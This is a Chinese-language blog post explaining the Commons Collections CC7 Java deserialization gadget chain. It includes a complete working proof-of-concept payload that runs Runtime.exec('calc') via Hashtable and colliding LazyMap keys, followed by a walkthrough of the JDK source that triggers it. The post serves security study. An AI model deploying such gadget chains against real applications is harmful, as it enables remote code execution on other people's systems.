12-java安全——java反序列化CC7链分析

Posted songly_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了12-java安全——java反序列化CC7链分析相关的知识,希望对你有一定的参考价值。

在分析CC7链之前,需要对Hashtable集合的源码有一定的了解。

从思路上来说,我觉得CC7利用链更像是从CC6利用链改造而来,只不过是CC7链没有使用HashSet,而是使用了Hashtable来构造新的利用链。

经过测试,CC7利用链在jdk8u071和jdk7u81都可以利用成功,payload代码如下:

package com.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

/*
        基于Hashtable的利用链
 */
public class CC7Test {

    public static void main(String[] args) throws Exception {
        //构造核心利用代码
        final Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc"}),
                new ConstantTransformer(1)};

        //使用Hashtable来构造利用链调用LazyMap
        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
        lazyMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);
        lazyMap2.remove("yy");
        //输出两个元素的hash值
        System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());
        System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());


        //iTransformers = transformers(反射)
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);

        //序列化  -->  反序列化(hashtable)
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashtable);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

CC7利用链分析:

1. 使用Transformer数组来构造利用代码,然后通过反射将transformers数组设置给ChaniedTransformer类的iTransformers属性,这一步和CC6利用链的构造思路上基本一致,没什么好说的。

2. 在构造利用链时,CC7仍然使用了LazyMap来构造利用链,不同的是,CC7使用了新的链Hashtable来触发LazyMap利用链,最终执行核心利用代码。

经过前面CC1到CC6的学习,相信大家对于Transformer数组来构造利用代码这一块已经非常熟悉了,这里就不再赘述,我们重点分析Hashtable是如何构造利用链的,在反序列化时又是如何触发LazyMap链的。

先来看Hashtable序列化过程

    private void writeObject(java.io.ObjectOutputStream s) throws IOException {
		//临时变量(栈)
        Entry<Object, Object> entryStack = null;

        synchronized (this) {
            s.defaultWriteObject();

			//写入table的容量
            s.writeInt(table.length);
			//写入table的元素个数
            s.writeInt(count);

            //取出table中的元素,放入栈中(entryStack)
            for (int index = 0; index < table.length; index++) {
                Entry<?,?> entry = table[index];

                while (entry != null) {
                    entryStack =
                        new Entry<>(0, entry.key, entry.value, entryStack);
                    entry = entry.next;
                }
            }
        }

        //依次写入栈中的每个元素
        while (entryStack != null) {
            s.writeObject(entryStack.key);
            s.writeObject(entryStack.value);
            entryStack = entryStack.next;
        }
    }

Hashtable有一个Entry<?,?>[]类型的table属性,并且还是一个数组,用于存放元素(键值对)。Hashtable在序列化时会先把table数组的容量写入到序列化流中,再写入table数组中的元素个数,然后将table数组中的元素取出写入到序列化流中。

再来看Hashtable的反序列化流程:

	private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        // Read in the length, threshold, and loadfactor
        s.defaultReadObject();

        // 读取table数组的容量
        int origlength = s.readInt();
		//读取table数组的元素个数
        int elements = s.readInt();

		//计算table数组的length
        int length = (int)(elements * loadFactor) + (elements / 20) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        if (origlength > 0 && length > origlength)
            length = origlength;
		//根据length创建table数组
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;

		//反序列化,还原table数组
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            reconstitutionPut(table, key, value);
        }
    }

Hashtable会先从反序列化流中读取table数组的容量和元素个数,并根据origlength 和elements 计算出table数组的length,再根据计算得到的length来创建table数组(origlength 和elements可以决定table数组的大小),然后从反序列化流中依次读取每个元素,然后调用reconstitutionPut方法将元素重新放入table数组(Hashtable的table属性),最终完成反序列化。

reconstitutionPut方法是一个很重要的方法,我们进一步分析一下这个方法

	private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
		//value不能为null
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }

		//重新计算key的hash值
        int hash = key.hashCode();
		//根据hash值计算存储索引
        int index = (hash & 0x7FFFFFFF) % tab.length;
		//判断元素的key是否重复
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
			//如果key重复则抛出异常
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        //key不重复则将元素添加到table数组中
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到tabl数组中。

CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞。

需要注意的是,在添加第一个元素时并不会进入if语句调用equals方法进行判断,因此Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法,否则不会触发漏洞。

这一步操作e.key.equals()调用了LazyMap的equals方法,但是LazyMap中并没有equals方法,实际上是调用了LazyMap的父类AbstractMapDecorator的equals方法,虽然AbstractMapDecorator是一个抽象类,但它实现了equals方法。

	public boolean equals(Object object) {
		//是否为同一对象(比较引用)
		if (object == this) {
			return true;
		}
		//调用HashMap的equals方法
		return map.equals(object);
	}

AbstractMapDecorator类的equals方法只比较了这两个key的引用,如果不是同一对象会再次调用equals方法,map属性是通过LazyMap传递的,我们在构造利用链的时候,通过LazyMap的静态方法decorate将HashMap传给了map属性,因此这里会调用HashMap的equals方法。

我们在HashMap中并没有找到一个名字为equals的成员方法,但是通过分析发现HashMap继承了AbstractMap抽象类,该类中有一个equals方法

   public boolean equals(Object o) {
		//是否为同一对象
        if (o == this)
            return true;
		//运行类型是否不是Map
        if (!(o instanceof Map))
            return false;
		//向上转型
        Map<?,?> m = (Map<?,?>) o;
		//判断HashMap的元素的个数size
        if (m.size() != size())
            return false;

        try {
			//获取HashMap的迭代器
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
				//获取每个元素(Node)
                Entry<K,V> e = i.next();
				//获取key和value
                K key = e.getKey();
                V value = e.getValue();
				//如果value为null,则判断key
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
				//如果value不为null,判断value内容是否相同
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

抽象类AbstractMap的equals方法进行了更为复杂的判断:

  1. 判断是否为同一对象
  2. 判断对象的运行类型
  3. 判断Map中元素的个数

当以上三个判断都不满足的情况下,则进一步判断Map中的元素,也就是判断元素的key和value的内容是否相同,在value不为null的情况下,m会调用get方法获取key的内容,虽然对象o向上转型成Map类型,但是m对象本质上是一个LazyMap。因此m对象调用get方法时实际上是调用了LazyMap的get方法。

LazyMap的get方法内部会判断当前传入的key是否已存在,如果不在则会进入if语句中调用transform方法,这个方法会调用Transformer数组中的核心利用代码构造命令执行环境,从而产生漏洞。

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
			//构造命令执行环境
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

关于lazyMap2集合中的第二个元素(yy=yy)从何而来

CC7利用链的payload代码中,Hashtable在添加第二个元素时,lazyMap2集合会“莫名其妙”添加一个元素(yy=yy),起初我以为这是一个bug,后面仔细跟踪了Hashtable添加元素的过程才发现,Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法添加一个元素(yy=yy)。

例如Hashtable调用put方法添加第二个元素(lazyMap2,1)的时候,该方法内部会调用equals方法根据元素的key判断是否为同一元素

	public synchronized V put(K key, V value) {
		//value是否为null
        if (value == null) {
            throw new NullPointerException();
        }

		//临时变量
        Entry<?,?> tab[] = table;
		//计算元素的存储索引
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
		//获取指定索引的链表
        @SuppressWarnings("unchecked")
        Entry<K,V> entry = (Entry<K,V>)tab[index];
		//遍历链表的节点(元素)
        for(; entry != null ; entry = entry.next) {
			//判断key是否重复
            if ((entry.hash == hash) && entry.key.equals(key)) {
				//覆盖value
                V old = entry.value;
                entry.value = value;
                return old;
            }
        }
		//key不重复则添加元素
        addEntry(hash, key, value, index);
        return null;
    }

此时的key是lazyMap2对象,而lazyMap2实际上调用了AbstractMap抽象类的equals方法,equals方法内部会调用lazyMap2的get方法判断table数组中元素的key在lazyMap2是否已存在,如果不存在,transform会把当前传入的key返回作为value,然后lazyMap2会调用put方法把key和value(yy=yy)添加到lazyMap2。

当在反序列化时,reconstitutionPut方法在还原table数组时会调用equals方法判断重复元素,由于AbstractMap抽象类的equals方法校验的时候更为严格,会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞。

因此在构造CC7利用链的payload代码时,Hashtable在添加第二个元素后,lazyMap2需要调用remove方法删除元素(yy=yy)才能触发漏洞。

lazyMap2.remove("yy");

关于CC7利用链的两个元素hash值的分析

前面我们说过触发漏洞还有一个前提:两个元素的hash值必须相同。

如下所示,在反序列化时,reconstitutionPut方法中的if判断中两个元素的hash值必须相同的情况下,才会调用eauals方法。

这也是为什么我们在构造利用链的时候必须添加两个两个元素,虽然这两个元素的hash值是一样的,但本质上是两个不同的元素。

为什么这两个LazyMap的hash值是一样的?继续跟踪hashCode方法,当LazyMap调用hashCode方法,实际上会调用AbstractMap抽象类的hashCode方法。

AbstractMap抽象类的hashCode方法实际调用了HashMap中的元素(yy=1)的hashCode方法,准确来说是Node节点的hashCode方法

Node类调用了Objects类的hashCode静态方法计算key和value的hash值,然后再进行异或运算得到一个新的hash值。

继续跟进Objects类的hashCode静态方法

到这我们基本可以知道,实际上底层调用了字符串“yy”的包装类String的hashCode方法,hashCode方法通过字符的ascii码值计算得到一个3872的hash值。

 hash值的计算过程:

第一次计算的时候val[i]的值是小写字母y,y的ascii码值就是121,h值为121。

第二次计算的时候val[i]的值是还是小写的字母y,h的值为3872=31*121+121,最终得到hash值为3872。

然后返回到Node类中的hashCode方法,进行亦或运算得到一个3873新的hash值并返回到AbstractMap类的hashCode方法中,最终lazyMap1的hash值就是3873

对于lazyMap2来说同理,字符串“zZ”同样也会调用包装类String的hashCode方法,字符串“zZ”的hash值也是3872。

 hash值的计算过程:

第一次计算的时候val[i]的值是小写字母z,h值为122。

第二次计算的时候val[i]的值是大写字母Z,h的值为:3872=31*122+90

到这基本可以明白lazyMap中元素的key值是经过精心构造的,其目的就是为了构造两个hash值相同的key,从而触发漏洞。

        lazyMap1.put("yy", 1);
        lazyMap2.put("zZ", 1);

也就是说,key的字符串是可以替换的,但key中的字符串的hash值必须相同,例如把key的字符串改成以下值同样也可以触发漏洞。

        lazyMap1.put("Ea", 1);
        lazyMap2.put("FB", 1);

到此,CC链的7条利用链就全部分析完毕,说实话CC1-CC7链的利用流程还是比较复杂,记得刚开始分析CC1链的时候遇到了蛮多问题,参考了不少文章和资料,然后写出第一篇自己所理解的CC利用链文章,基本上把所有遇到的坑都踩了一遍,虽然过程挺磨人的,但同时也收获了不少,后面就自己根据ysoserial工具的poc代码独立分析利用链的流程,感觉迈过CC链这道坎后才算是开始入门反序列化漏洞了。

以上是关于12-java安全——java反序列化CC7链分析的主要内容,如果未能解决你的问题,请参考以下文章

12-java安全——java反序列化CC7链分析

7-java安全——java反序列化CC1链分析

10-java安全——java反序列化CC3和CC4链分析

10-java安全——java反序列化CC3和CC4链分析

9-java安全——java反序列化CC3链分析

8-java安全——java反序列化CC2链分析